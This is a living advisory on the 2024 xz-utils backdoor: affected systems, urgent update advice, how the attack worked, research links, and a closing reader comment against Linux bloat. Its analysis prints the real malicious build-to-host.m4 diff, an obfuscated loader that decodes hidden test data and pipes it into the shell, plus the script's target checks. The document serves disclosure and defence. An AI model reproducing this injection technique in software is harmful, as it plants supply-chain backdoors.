This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.
On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.
This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.
We're reasonably sure the following things need to be true for your system to be vulnerable:
- You need to be running a distro that uses glibc (for IFUNC)
- You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.
We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.
While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.
If you're running a publicly accessible sshd, then you are - as a rule
of thumb for those not wanting to read the rest here - likely vulnerable.
If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.
TL:DR:
- Using a
.debor.rpmbased distro with glibc and xz-5.6.0 or xz-5.6.1:- Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
- Otherwise: update RIGHT NOW NOW but prioritize the former
- Using another type of distribution:
- With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.
If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.
This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.
This backdoor has several components. At a high level:
- The release tarballs upstream publishes don't have the same code
that GitHub has. This is common in C projects so that downstream
consumers don't need to remember how to run autotools and autoconf.
The version of
build-to-host.m4in the release tarballs differs wildly from the upstream on GitHub. - There are crafted test files in the
tests/folder within the git repository too. These files are in the following commits:tests/files/bad-3-corrupt_lzma2.xz(cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)tests/files/good-large_compressed.lzma(cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)
- Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
- A script called by
build-to-host.m4that unpacks this malicious test data and uses it to modify the build process. - IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.
Normally upstream publishes release tarballs that are different than
the automatically generated ones in GitHub. In these modified
tarballs, a malicious version of build-to-host.m4 is included to
execute a script during the build process.
This script (at least in versions 5.6.0 and 5.6.1) checks for various
conditions like the architecture of the machine. Here is a snippet of
the malicious script that gets unpacked by build-to-host.m4 and an
explanation of what it does:
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
- If amd64/x86_64 is the target of the build
- And if the target uses the name
linux-gnu(mostly checks for the use of glibc)
It also checks for the toolchain being used:
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then exit 0 fi if test "x$CC" != 'xgcc' > /dev/null 2>&1;then exit 0 fi LDv=$LD" -v" if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then exit 0
And if you are trying to build a Debian or Red Hat package:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.
Lasse Collin, the original long-standing xz maintainer, is currently working on
auditing the xz.git.
$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
dnl Define somedir_c.
gl_final_[$1]="$[$1]"
+ gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
dnl Translate it from build syntax to host syntax.
case "$build_os" in
cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
[$1]_c_make='\"$([$1])\"'
fi
+ if test "x$gl_am_configmake" != "x"; then
+ gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+ else
+ gl_[$1]_config=''
+ fi
+ _LT_TAGDECL([], [gl_path_map], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+ _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+ _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
AC_SUBST([$1_c_make])
+
+ dnl If the host conversion code has been placed in $gl_config_gt,
+ dnl instead of duplicating it all over again into config.status,
+ dnl then we will have config.status run $gl_config_gt later, so it
+ dnl needs to know what name is stored there:
+ AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
])
dnl Some initializations for gl_BUILD_TO_HOST.
AC_DEFUN([gl_BUILD_TO_HOST_INIT],
[
+ dnl Search for Automake-defined pkg* macros, in the order
+ dnl listed in the Automake 1.10a+ documentation.
+ gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+ if test -n "$gl_am_configmake"; then
+ HAVE_PKG_CONFIGMAKE=1
+ else
+ HAVE_PKG_CONFIGMAKE=0
+ fi
+
gl_sed_double_backslashes='s/\\/\\\\/g'
gl_sed_escape_doublequotes='s/"/\\"/g'
+ gl_path_map='tr "\t \-_" " \t_\-"'
changequote(,)dnl
gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
changequote([,])dnlIf those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:
-
The payload activates if the running program has the process name
/usr/sbin/sshd. Systems that putsshdin/usr/binor another folder may or may not be vulnerable. -
It may activate in other scenarios too, possibly even unrelated to ssh.
-
We don't entirely know the payload is intended to do. We are investigating.
-
Successful exploitation does not generate any log entries.
-
Vanilla upstream OpenSSH isn't affected unless one of its dependencies links
liblzma.- Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
- libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
- PAM modules are loaded too late in the process AFAIK for this to work (another possible example was
pam_fprintd). Solar Designer raised this issue as well on oss-security.
-
The payload is loaded into
sshdindirectly.sshdis often patched to support systemd-notify so that other services can start when sshd is running.liblzmais loaded because it's depended on by other parts oflibsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.- Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via
libsystemdsupport anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
- Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via
-
If this payload is loaded in openssh
sshd, theRSA_public_decryptfunction will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication.Further research is being done to explain why.- Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to
system(), giving remote code execution (RCE).
- Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to
-
Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a
.in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.- Hardening of CMake's
check_c_source_compileshas been proposed (see Other projects).
- Hardening of CMake's
-
IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.
- Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.
We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.
xz-utils had two maintainers:
- Lasse Collin (Larhzu) who has maintained xz since the beginning
(~2009), and before that,
lzma-utils. - Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.
Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.
Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.
- Please do not use
lddon untrusted binaries - Internet Archive has a collection of the release tarballs
- I've also created a git repo for my own convenience at https://github.com/thesamesam/xz-archive.
- Lasse Collin's in-progress review notes as he audits xz.git
This is the part which is very much in flux. It's early days yet.
These two especially do a great job of analysing the initial/bash stages:
- xz/liblzma: Bash-stage Obfuscation Explained by @gynvael
- The xz attack shell script by Russ Cox
Other great resources:
- Filippo Valsorda's bluesky thread
- XZ Backdoor Analysis (WIP) by @smx-smx
- xz backdoor documentation wiki by @Midar et. al
- modify_ssh_rsa_pubkey.py - script to trigger more parts of the payload in a compromised
sshdby @keeganryan - xz-malware by @karcherm
- xz-backdoor by @hamarituc
- xzbot: notes, honeypot, and exploit demo by @amlweems. This contains binary patching for the key!
- XZ Backdoor Extract by @0xlane
- https://github.com/blasty/JiaTansSSHAgent
- XZ backdoor story – Initial analysis (part 1) by Kaspersky
- Assessing the Y, and How, of the XZ Utils incident (part 2) by Kaspersky
- liblzma.so infection by binarly.io
- Minimal setup to trigger the xz backdoor by @felipec
There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.
-
libarchive is being checked out:
- libarchive/libarchive#2103 coordinates the review effort
- libarchive/libarchive#1609 was made by Jia Tan
- Solar Designer's take - with an interesting discussion about how terminal applications should act here
- The initial fix post-review for this was libarchive/libarchive#2101 (https://github.com/libarchive/libarchive/commit/6110e9c82d8ba830c3440f36b990483ceaaea52c).
- After review, libarchive/libarchive#2101 was made by libarchive maintainers.
- It doesn't appear exploitable but the change in libarchive/libarchive#2101 was made out of caution.
- One of the libarchive maintainers has filed libarchive/libarchive#2107 to discuss a better fix as well.
-
google/oss-fuzz#10667 was made by Jia Tan to disable IFUNC in oss-fuzz when testing xz-utils
- It is unclear if this was safe or not. Obviously, it doesn't look great, but see below.
- Note that IFUNC is a brittle mechanism and it is known to be sensitive to e.g. ASAN, which is why the change didn't raise alarm bells. i.e. It is possible that such a change was genuinely made in good faith, although it's of course suspicious in hindsight. But I wouldn't say the oss-fuzz maintainers should have rejected it, either.
This is for suggesting specific changes which are being considered as a result of this.
- CMake: Consider hardening check_c_source_compiles - MR
- bug-autoconf: Add a syntax check to code snippets
- bug-autoconf: autoreconf --force seemingly does not forcibly update everything
- systemd: Reduce dependencies of libsystemd
- Note: There was prior work already on this in e.g. systemd/systemd#31550. While it was initially thought that this may have have caused acceleration of plans to backdoor xz, as the systemd changes had not yet landed in a release, the timing doesn't seem to work out..
- xz-5.6.0, the first known-backdoored version, was released on 2024-02-26.
- Per Debian's package tracker, xz-5.6.0 was first added on that same day. This predates the systemd PR which was opened on 2024-02-29.
- That said, the original PR to move systemd towards more
dlopen()for e.g.kmodwas opened on 2024-01-30. - On the same day, a systemd developer suggested extending the approach to compression libraries.
- Note: There was prior work already on this in e.g. systemd/systemd#31550. While it was initially thought that this may have have caused acceleration of plans to backdoor xz, as the systemd changes had not yet landed in a release, the timing doesn't seem to work out..
- systemd: RFC: expose dlopen() dependencies in an ELF section
- groff: [PATCH] Distribute bootstrap and bootstrap.conf
- GNU binutils: Remove dependency on libjansson
- This is being proposed by @rui314, the maintainer of mold. Rui also wrote about the risks to linkers in https://x.com/rui314/status/1774286434335338965.
- openssh
- Note that as covered above, OpenSSH are looking at removing the need for downstreams to patch in libsystemd by implementing a library-less version of the same functionality.
- Andres Freund noticed an interesting tangential bug/area for improvement when analysing the exploit, which would avoid checking against algorithms disabled by configuration. (This is not a vulnerability in OpenSSH and it wouldn't have prevented any of this, but it's come out of this whole thing nonetheless).
- Auditing Linux distribution packages with distro-backdoor-scanner
- esr's autodafe to aid conversion from autotools -> Makefiles
- backseat-signed: New supply-chain security tool: backseat-signed
This is for linking to interesting general discussions, rather than specific changes being suggested (see above).
- automake: GNU Coding Standards, automake, and the recent xz-utils backdoor
- bug-gnulib: git repositories vs. tarballs
- fedora-devel: Three steps we could take to make supply chain attacks a bit harder
- debian-devel: Upstream dist tarball transparency (was Re: Validating tarballs against git repositories)
- oss-security: Make your own backdoor: CFLAGS code injection, Makefile injection, pkg-config
Non-mailing list proposals:
- Simon Josefsson's blog: Towards reproducible minimal source code tarballs? On *-src.tar.gz
- Simon Josefsson's blog: Reproducible and minimal source-only tarballs
- Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
- All the hard-working security teams helping to coordinate a response and push out fixes.
- Xe Iaso who resummarized this page for readability.
- Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.
Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.
There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)
-
A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.
-
I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.
- On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.
- Add a table of releases + signer?
- Include the injection script after the macro
- Mention detection?
- Explain the bug-autoconf thing maybe wrt serial
- Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
- "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."
Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.
- Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
- Reverse engineering the payload (it's still fairly early days here on this)
- Once finished, tell people whether:
- the backdoor did anything else than waiting for connections for RCE, like:
- call home (send found private keys, etc)
- load/execute additional rogue code
- did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
- other attack vectors than via sshd were possible
- whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
- the backdoor did anything else than waiting for connections for RCE, like:
- Once finished, tell people whether:
- Auditing all possibly-tainted xz-utils commits
- Investigate other paths for
sshdto getliblzmain its process (not just vialibsystemd, or at least not directly)- This is already partly done and it looks like none exist, but it would be nice to be sure.
- Checking other projects for similar injection mechanisms (e.g. similar build system lines)
- See distro-backdoor-scanner
- https://codesearch.debian.net/ may be helpful
- Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
- Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
- This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
- ???
- LWN - A backdoor in xz
- oss-security - backdoor in upstream xz/liblzma leading to ssh server compromise
- Evan Boehs - Everything I know about the XZ backdoor
- Tukaani - XZ Utils backdoor
- Rob Mensching - A Microcosm of the interactions in Open Source projects
- Russ Cox - Timeline of the xz open source attack
- Rhea's Substack - XZ Backdoor: Times, damned times, and scams
- LWN - Free software's not-so-eXZellent adventure
- LWN - How the XZ backdoor works
- LWN - Identifying dependencies used via dlopen()
- openSUSE - What we need to take away from the XZ Backdoor
- CISA - Lessons from XZ Utils: Achieving a More Sustainable Open Source Ecosystem
- OpenSSF - Open Source Security (OpenSSF) and OpenJS Foundations Issue Alert for Social Engineering Takeovers of Open Source Projects
- https://github.com/przemoc/xz-backdoor-links
I really hope that the wakeup call people take from this is that the "move fast and break things" mentality should not apply to kernel nor core utilities. Stability and safety is much more important than new shiny features especially if Linux is to be the stable foundation for server and embedded applications running critical code in the future too. I really hope any people bullying maintainers to accept patches and new features to already perfectly functioning tools will be called out more often. If you desperately want a new feature, fork it and make your own.
I hope that people would understand to look back into what Linux was and what the core idea of it is, which I would describe as a collection of simple utilities (GNU) and the kernel to support them. Not anything else, everything that is complex, hard or time-consuming to audit, new feature that is controversial, should not be included in either the kernel, core utilities or major distros as default. You are not supposed to create these large monoliths like systemd which span their tentacles to the entire system and introduce not only a complex large codebase addition but also a single point of failure.
I also hope that the reflection from this isn't that we need more idiotic "mitigation" security features like AppArmor, position-independent-executables, stack canaries/protectors and such other band-aid "fixes" which create additional complexity that does not only hurt performance but is also fertile ground for new security holes and bugs to fester.
The only sane and safe way is to make the kernel and core utilities simple and lean so they are easy to audit, lift your foot from the pedal a bit so everything can be checked at least with several sets of eyes before moving forward. There is no need for any "mitigations" when the code itself is safe.
Also the whole community needs to not succumb to any person's or group's vanity who push hard to get their personal pet projects merged into the foundation that everyone uses. As much software as possible should be built on top of Linux, as packages which can be installed like it has always been, not into Linux either in the kernel or as kernel patches included by default in major distributions or packages installed by default. The more "blank slate" a base Linux installation is by default, the better off is everyone is. This is especially true for distributions which are focused on serious use like Debian. Most people and in turn infrastructure they create use major distributions as a base, so the decisions made by major distributions also have a great impact, so not only must the kernel team be vigilant.
If you look at the kernel mailing list, Torvalds has been active in fighting against the tide of many people trying to push all kinds of bullshit into the kernel source tree. But the major distributions to my (limited) knowledge doesn't have such a strong gatekeeper and all the distros are getting increasingly bloated and include more and more unnecessary features by the day. Also Torvalds will eventually retire, what will happen then, who will fight against the tide? That not also makes me scared for the future of Linux, but also shows that it's not a good idea to rely on a single gatekeeper to keep all the bullshit out. I mean over a decade ago, there was a serious push to move the linux kernel to use C++, which Torvalds promptly stopped in its tracks, thank god. Where would we be without people pushing back and wanting to contemplate first? We need more of those people as maintainers in the OSS community, the critical thinkers and slow and steady types.
How could the OSS community at large have the reflection when it comes to critical foundations that everything needs to be handled with proper care, which means taking your time, and not every feature needs to make it in just because it's new and shiny? The problem at large is that the group who want "feature X" to be added are usually loud and obnoxious and push hard while most people who think "is this really necessary" will not either out of politeness say anything or do not care enough. Then even when maintainers think so, it's easy to have the psychological effect of "oh, this must then be what people really need" and get bullied to merge a new feature in without proper checks and balances. Rinse and repeat a hundred times and suddenly the distribution got much more bloated and harder to audit since a hundred new features were added each of which some person might just maybe need sometime has been added as default.
TL;DR; Everyone who is a developer in any critical software work like kernel, core utilities, major distributions of Linux, etc., take your time. The world will not end if a new feature doesn't get added in tomorrow. It just might though if you add something in a hurry. You don't owe anyone anything, especially not someone bugging you to immediately add a "feature X" because some small subset of users might want to use it.